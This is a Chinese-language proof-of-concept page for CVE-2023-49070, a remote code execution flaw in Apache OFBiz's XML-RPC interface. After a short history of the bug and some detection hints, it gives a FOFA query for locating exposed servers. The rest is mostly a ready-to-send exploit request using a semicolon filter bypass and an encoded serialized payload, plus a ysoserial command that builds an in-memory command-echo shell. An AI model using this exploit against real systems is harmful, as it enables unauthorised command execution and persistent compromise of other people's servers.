## Apache Ofbiz XML-RPC RCE漏洞-CVE-2023-49070
2020年，为修复 CVE-2020-9496 增加权限校验，存在绕过。2021年，增加 Filter 用于拦截 XMLRPC 中的恶意请求，存在绕过。2023年四月，彻底删除xmlrpc handler 以避免同类型的漏洞产生尽管主分支在四月份已经移除了XML-RPC组件，但在Apache OFBiz的正式发布版本中，仅最新版本18.12.10彻底废除了XML-RPC功能。

流量分析: 攻击者利用这个漏洞时，会发送包含用户名和密码的 HTTP 请求到 XML-RPC 接口。在网络流量中，这可能表现为对 /webtools/control/xmlrpc 的异常访问请求。

异常请求内容: 利用 Filter 绕过机制的请求可能包含不寻常的 URI 结构，如使用分号或路径穿越技术(./)。

特定的错误日志: 在尝试进行反序列化攻击时，可能会在日志中观察到相关错误或异常信息，尤其是与XML-RPC 组件相关的。

## fofa
```
app="Apache_OFBiz"
```

## poc
```
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: ip:port
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd:ifconfig
Content-Length: 8906

<?xml version="1.0"?>
<methodCall>
  <methodName>RCE</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>RCE</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">   [encoded data, 8468 characters]
              </serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>
```
## 回显内存马
```
java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | base64 | tr -d "\n"
```
![6258c158de059f1edbe8c4026ee65ba8](https://github.com/wy876/POC/assets/139549762/63d1d7ae-dbe6-4bc9-8a9d-830d5bea5e9e)

![c13860bff93338c758f4d8cca201939e](https://github.com/wy876/POC/assets/139549762/274af3d0-81b1-4c01-83c5-3fbb631e4ed4)

